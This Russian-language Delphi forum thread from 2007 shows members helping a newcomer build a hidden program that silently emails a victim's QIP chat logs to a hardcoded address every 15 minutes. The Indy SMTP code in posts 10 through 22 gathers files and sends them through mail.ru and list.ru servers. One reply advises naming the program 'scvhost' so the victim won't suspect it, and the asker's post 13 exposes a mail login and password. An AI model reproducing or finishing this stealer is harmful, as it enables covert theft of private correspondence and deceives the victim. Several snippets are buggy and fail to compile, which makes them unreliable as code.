Помощник
Здравствуйте, гость ( Вход | Регистрация )
|
|
26:11:2007, 20:12
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Здрасть. Сопсн такая тема. Нужно написать консольное приложение, которое бы при запуске отпровляло все файлы из заданной папки с именнем *.qhf на указанный в коде имейл. Очень требуется. Помогите начинающему! Киньте ссылки на мануалы, или если напишите код то буду в двойне благодарен!
Использую CodeGear Delphi for win32 2007 (если нужно). |
|
Сообщение
#1
|
|
![]() |
|
|
26:11:2007, 21:32
|
|
очень злой модератор ![]() ![]() ![]() ![]() ![]() Группа: Lotus team Сообщений: 2 666 Регистрация: 7:08:2006 Из: Украина, Киев Пользователь №: 5 807 Специализация: разработчик всякой хрени Репутация: 46
|
Прууветь...
Сосна базара нима, туцаеш эту хреньку и без мазы будет щастя тебе |
|
Сообщение
#2
|
|
|
|
26:11:2007, 21:49
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Спс огромное но пишет мол
RASConn: TRASConn; Ниизвестная штука - "TRASConn" и соответсвенно все что далее не понимает. Чего у меня не хватает? =) |
|
Сообщение
#3
|
|
|
|
26:11:2007, 21:59
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Полистал код и понял что опыта у меня маловато =) Вкуда писать адрес, путь к файлам и тд и тп? ибо что я сделал так это создал консольное приложение и вместо стандартного кода впихнул этот (подравив немного граматические ошибки)
|
|
Сообщение
#4
|
|
|
|
26:11:2007, 22:14
|
|
очень злой модератор ![]() ![]() ![]() ![]() ![]() Группа: Lotus team Сообщений: 2 666 Регистрация: 7:08:2006 Из: Украина, Киев Пользователь №: 5 807 Специализация: разработчик всякой хрени Репутация: 46
|
гы , а ну да то под D5 код подходить
Вот тут неплохо расписано, да и вообще с такими вапросами надо сразу в гугл обращаться |
|
Сообщение
#5
|
|
|
|
27:11:2007, 02:36
|
|
Новенький ![]() Группа: Программист Сообщений: 47 Регистрация: 8:06:2006 Из: Амбер Пользователь №: 4 695 Специализация: Программист Репутация: 1
|
А ты попробуй IdSMTPServer. Индюшная компонента. Т. е. берем TIdMessage, заполняем в ней поля и добавляем Attachments (т. е. присоединения, или, в твоем случае, файлы). У меня есть исходники похожего назначения, могу сбросить (даже статья где-то была). Затем ставим TIdSmtpServer, указываем в нем свое мыло, логин и пароль, и тремя методами Connect, Authentificate и Send(Message), где Message - наша TIDMessage отправляем сообщения. Мой пост не тянет на исчерпываемость сведений, но, сорри, опаздываю
|
|
Сообщение
#6
|
|
|
|
27:11:2007, 07:51
|
|
очень злой модератор ![]() ![]() ![]() ![]() ![]() Группа: Lotus team Сообщений: 2 666 Регистрация: 7:08:2006 Из: Украина, Киев Пользователь №: 5 807 Специализация: разработчик всякой хрени Репутация: 46
|
Для: Coldfate
я собственно и дал ссілку на индюшёніе компоненты... пишем одно и тоже |
|
Сообщение
#7
|
|
|
|
27:11:2007, 15:51
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
В той справке написанно всунуть на форму - а мне нельзя форму. мне нужно скрытное приложение. тоясть вообще невидно никак. тихонечко сидит и шлет каждые 15 мин.
Так с этой проблемой я разобрался. спс. ща буду пытатся. |
|
Сообщение
#8
|
|
|
|
27:11:2007, 16:15
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'AuthenticationType'
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'atLogin' Появилось на стадии добавления IdSMTP1.AuthenticationType:=atLogin; IdSMTP1.Username:='delphi'; IdSMTP1.Password:='something'; |
|
Сообщение
#9
|
|
|
|
27:11:2007, 17:40
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
в uses IdSMTP есть (юный вирусмейкер Цитата мне нужно скрытное приложение view-project manager-улаляешь все кроме (project1.exe)-view source в нем пишешь uses IdMessageClient, IdSMTP и дальше кодом var sender_vir: Tidsmtp; sender_vir:= tidsmtp.create(Application) ...... вот рабочая процедура(из Internet) Код procedure TForm1.SendMail(Host, Username, Password, Subj, Recip, From, Attach: string);
var M: TIdMessage; begin M:=TIdMessage.Create(Form1); M.From.Text:=From; // От кого M.Recipients.Add; // Добавили получателя M.Recipients.Items[0].Text:=Recip; // Получатель M.Subject:=subj; // Тема TIdAttachment.Create(M.MessageParts, Attach); // Аттачмент // Соединяемся Memo1.Lines.Add('Соединение с сервером...'); IdSMTP1.AuthenticationType := atLogin; IdSMTP1.Host:=Host; // Сервер IdSMTP1.Username:=UserName; // Логин IdSMTP1.Password:=Password; // Пароль try // Пробуем соединиться IdSMTP1.Connect(); except Memo1.Lines.Add('Ошибка! Сервер не найден.'); exit; end; // Пробуем отправить файл try if IdSMTP1.Connected then begin Memo1.Lines.Add('Отправка файла...'); IdSMTP1.Send(M); IdSMTP1.Disconnect; Memo1.Lines.Add('Файл успешно отправлен.'); Button2.Enabled:=false; end; except Memo1.Lines.Add('Ошибка соединения. Данные не отправлены.'); IdSMTP1.Disconnect; end; end; Сообщение отредактировал root - 27:11:2007, 18:11 |
|
Сообщение
#10
|
|
|
|
27:11:2007, 18:17
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Обижаешь, есть канешна.
Процедурка не подходит по одной простой причине что мненужно скрытое приложение. Кстати, где брать INDY? Я его брал с их сайта, вообще както боком поставилось. Protocols вообще не щакомпилилсь и соответственно не поставились. Вообще конкретная мусорка получилась. Наверное ща делфю переустановлю. Странно делфя 2007 весит 1,2гига (до этого юзал 70мб лайтную) и нету инди. |
|
Сообщение
#11
|
|
|
|
27:11:2007, 18:44
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
Код program Project2;
uses Forms, IdMessage, IdSMTP; // Если нет в палитре компонетов то // IdSMTP in 'Путь\до\IdSMTP.pas', // IdMessage in 'Путь\до\IdMessage.pas'; // // // // {$R *.res} var sender1: TIdSMTP; att: TIdMessage; begin Application.Initialize; Application.Run; sender1:= TIdSMTP.Create(Application ); sender1.Host := 'smtp.list.ru'; sender1.Port :=25; sender1.AuthenticationType := atLogin; sender1.Username :='';//логин sender1.Password :='';//пароль try sender1.Connect(); except exit; end; if sender1.Connected then begin att:= TIdMessage.Create(Application ); att.From.Text :='';// от кого att.Recipients.Add.Text :='';// кому TIdAttachment.Create(att.MessageParts, 'c:\Web.log'); sender1.Send(att ) end; end. Сообщение отредактировал root - 27:11:2007, 19:35 |
|
Сообщение
#12
|
|
|
|
27:11:2007, 19:11
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Спасибо. Щас посмотрю. Покачто вот что у меня получилось:
Код program Project2; {$APPTYPE CONSOLE} uses SysUtils, Idsmtp, IdMessageClient, IdSMTPBase; var IdSMTP1: TIdSMTP; Msg: TIdMessage; begin IdSMTP1.Port:=25; IdSMTP1.Host := 'smtp.mail.ru'; IdSMTP1.Connect(5000); IdSMTP1.AuthType:=satDefault; IdSMTP1.Username:='iorka'; IdSMTP1.Password:='300358'; Msg.Subject:='тема сообщения'; //текст темы сообщения Msg.Recipients.EMailAddresses:='bogdanwe@mail.ru'; //указываем адрес получателя Msg.From.Adress:='delphi@mail.ru'; //указываем автора письма Msg.Body.Text:='текст сообщения'; //размещаем текст сообщения Msg.Date:=StrToDate('01.12.2004');//дата отправки письма может быть любой if IdSMTP1.Connected=True then IdSMTP1.Send(Msg); end. Он не понимает TIdMessage и соответственно все что начиается на msg не пашет |
|
Сообщение
#13
|
|
|
|
27:11:2007, 19:14
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
только переименовать в scvhost не забудь Для: aspcartman uses IdMessage, IdSMTP; Для: aspcartman IdMessageClient выкини его |
|
Сообщение
#14
|
|
|
|
27:11:2007, 19:20
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Прошу прощения за тупость ))) Нужнобыло в юзыз IdMessage всунуть
А кого в переменовать и зачем? =) |
|
Сообщение
#15
|
|
|
|
27:11:2007, 19:21
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
чтоб жертва не догадалась |
|
Сообщение
#16
|
|
|
|
27:11:2007, 19:31
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Ну вот оставляю все как есть, пишу ниже даты до if TIdAttachment.Create(Msg.MessageParts,'ПУТЬ'); но не пашет Сообщение отредактировал aspcartman - 27:11:2007, 20:06 |
|
Сообщение
#17
|
|
|
|
27:11:2007, 19:45
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
в uses SysUtils в var f: TSearchRec ; FindFirst('c:\*.log',faAnyFile ,f); if F.name <> '' then begin TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name ); while FindNext(F) = 0 do begin TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name ); end; FindClose(f); sender1.Send(att ) end; Сообщение отредактировал root - 28:11:2007, 03:31 |
|
Сообщение
#18
|
|
|
|
27:11:2007, 19:59
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
Ну воть =)
Хочу прибавить к письму все файлы аля C:\programm files\qip\logs\*.sqf и отправить их одним сообщением. ЗЫ TIdAttachment.Create(Msg.MessageParts,'Ну тут типа путь к одному файлику'); пишет [DCC Error] Project2.dpr(28): E2034 Too many actual parameters [DCC Warning] Project2.dpr(28): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream' |
|
Сообщение
#19
|
|
|
|
27:11:2007, 20:04
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
Код program Project2;
uses forms, IdMessage, IdSMTP,SysUtils; {$R *.res} var sender1: TIdSMTP; att: TIdMessage; f: TSearchRec; begin Application.Initialize; Application.Run; sender1:= TIdSMTP.Create(Application); sender1.Host := 'smtp.list.ru'; sender1.Port :=25; sender1.AuthenticationType := atLogin; sender1.Username :=''; sender1.Password :=''; try sender1.Connect(); except exit; end; if sender1.Connected then begin att:= TIdMessage.Create(Application ); att.From.Text :=''; att.Recipients.Add.Text :=''; FindFirst('c:\*.log',faAnyFile ,f); if F.name <> '' then begin TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name ); while FindNext(F) = 0 do begin TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name ); end; FindClose(f); sender1.Send(att ); end; end; end. Сообщение отредактировал root - 28:11:2007, 03:32 |
|
Сообщение
#20
|
|
|
|
27:11:2007, 20:15
|
|
Новенький ![]() Группа: Программист Сообщений: 11 Регистрация: 26:11:2007 Пользователь №: 13 928 Репутация: 0
|
[DCC Error] Project1.dpr(36): E2034 Too many actual parameters
[DCC Warning] Project1.dpr(36): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream' [DCC Error] Project1.dpr(40): E2034 Too many actual parameters [DCC Warning] Project1.dpr(40): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream' Вот что получаю. (В uses еще IdAttachment нехватает) |
|
Сообщение
#21
|
|
|
|
27:11:2007, 20:36
|
|
Знающий ![]() ![]() ![]() Группа: Lotus team Сообщений: 492 Регистрация: 10:06:2006 Пользователь №: 4 745 Специализация: Lotus Notes & Domino, ERP Репутация: 18
|
Для: aspcartman
Код program Project2;
uses forms, IdMessage, IdSMTP,SysUtils; {$R *.res} var sender1: TIdSMTP; att: TIdMessage; f: TSearchRec; i: integer; begin Application.Initialize; Application.Run; sender1:= TIdSMTP.Create(Application); sender1.Host := 'smtp.list.ru'; sender1.Port :=25; sender1.AuthenticationType := atLogin; sender1.Username :=''; sender1.Password :=''; try sender1.Connect(); except exit; end; if sender1.Connected then begin att:= TIdMessage.Create(Application ); att.From.Text :=''; att.Recipients.Add.Text :='; att.MessageParts.Create(Application); FindFirst('c:\lg\*.log',faAnyFile ,f); if F.name <> '' then begin TIdAttachment.Create(att.MessageParts, 'c:\lg\'+f.Name ); while FindNext(F) = 0 do begin TIdAttachment.Create(att.MessageParts, 'c:\lg\'+f.Name ); end; FindClose(f); sender1.Send(att) end; end; end. |
|
Сообщение
#22
|
|
![]() |